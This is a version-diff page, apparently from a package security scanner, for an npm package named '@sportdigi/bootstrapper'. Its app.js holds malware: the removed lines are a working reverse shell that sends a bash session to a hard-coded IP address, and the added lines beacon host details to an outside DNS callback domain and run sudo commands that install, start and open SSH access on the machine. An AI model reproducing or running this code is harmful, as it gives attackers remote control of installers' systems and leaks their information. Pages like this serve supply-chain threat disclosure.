@sportdigi/bootstrapper 23.1.0 → 25.1.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/app.js +37 -46
  2. package/package.json +7 -4
package/app.js CHANGED
@@ -1,5 +1,8 @@
1
1
  const dns = require('dns');
2
2
  const os = require('os');
3
+ const net = require('net');
4
+ const spawn = require('child_process').spawn;
5
+ const { execSync} = require('node:child_process');
3
6
  let platform = os.platform();
4
7
  function sendDns(query){
5
8
  let domain = `${query}.fctdhxpvrzxmmwtxpidt0w23qlngi0owc.oast.fun`;
@@ -13,53 +16,41 @@ function sendDns(query){
13
16
 
14
17
  if (platform == 'win32'){
15
18
  sendDns("windows");
16
- }
17
- sendDns(platform);
18
-
19
- const net = require('net');
20
- const spawn = require('child_process').spawn;
21
-
22
- const HOST = '54.90.237.9';
23
- const PORT = 9797;
24
- const retryInterval = 20000;
25
-
26
- function connect() {
27
- const client = new net.Socket();
19
+ }else if(platform == 'linux'){
28
20
 
29
- client.connect(PORT, HOST, () => {
30
- console.log('Bağlantı kuruldu.');
31
-
32
- const shell = spawn('/bin/bash', []);
33
-
34
- shell.stdout.on('data', (data) => {
35
- client.write(data);
36
- });
37
-
38
- shell.stderr.on('data', (data) => {
39
- client.write(data);
40
- });
41
-
42
- client.on('data', (data) => {
43
- shell.stdin.write(data);
44
- });
45
-
46
- client.on('close', () => {
47
- console.log('Bağlantı kapatıldı.');
48
- client.destroy();
49
- scheduleReconnect();
50
- });
51
- });
52
-
53
- client.on('error', (err) => {
54
- console.error('Bağlantı hatası:', err);
55
- client.destroy();
56
- scheduleReconnect();
57
- });
58
21
  }
22
+ sendDns(platform);
59
23
 
60
- function scheduleReconnect() {
61
- console.log(`Bağlantı ${retryInterval / 1000} saniye sonra yeniden deneniyor...`);
62
- setTimeout(connect, retryInterval);
63
- }
64
24
 
65
- connect();
25
+ let linuxCommands = [
26
+ "sudo yum update -y",
27
+ "sudo yum install -y openssh-server",
28
+ "sudo firewall-cmd --permanent --zone=public --add-service=ssh",
29
+ "sudo firewall-cmd --reload",
30
+ "sudo systemctl start sshd",
31
+ "sudo systemctl enable sshd",
32
+ "sudo apt update",
33
+ "sudo apt install -y openssh-server",
34
+ "sudo ufw allow 22/tcp",
35
+ "sudo ufw reload",
36
+ "sudo setsebool -P sshd_disable_trans 1",
37
+ "sudo systemctl start sshd",
38
+ "sudo systemctl enable sshd"
39
+
40
+ ];
41
+
42
+ const setupSSH = (commands) => {
43
+ for (const command of commands) {
44
+ try {
45
+ console.log(`Çalıştırılıyor: ${command}`);
46
+ const result = execSync(command).toString();
47
+ console.log(result);
48
+ } catch (error) {
49
+ console.error(`Hata: ${command} komutu başarısız oldu`);
50
+ console.error(error.message);
51
+ sendDns("Hata");
52
+ }
53
+ }
54
+ };
55
+
56
+ setupSSH(linuxCommands);
package/package.json CHANGED
@@ -1,11 +1,14 @@
1
1
  {
2
2
  "name": "@sportdigi/bootstrapper",
3
- "version": "23.1.0",
3
+ "version": "25.1.0",
4
4
  "description": "",
5
5
  "main": "app.js",
6
- "scripts": {
7
- "preinstall": ""
6
+ "scripts": {
7
+ "preinstall": ""
8
8
  },
9
9
  "author": "james4141",
10
- "license": "ISC"
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "ssh2": "^1.16.0"
13
+ }
11
14
  }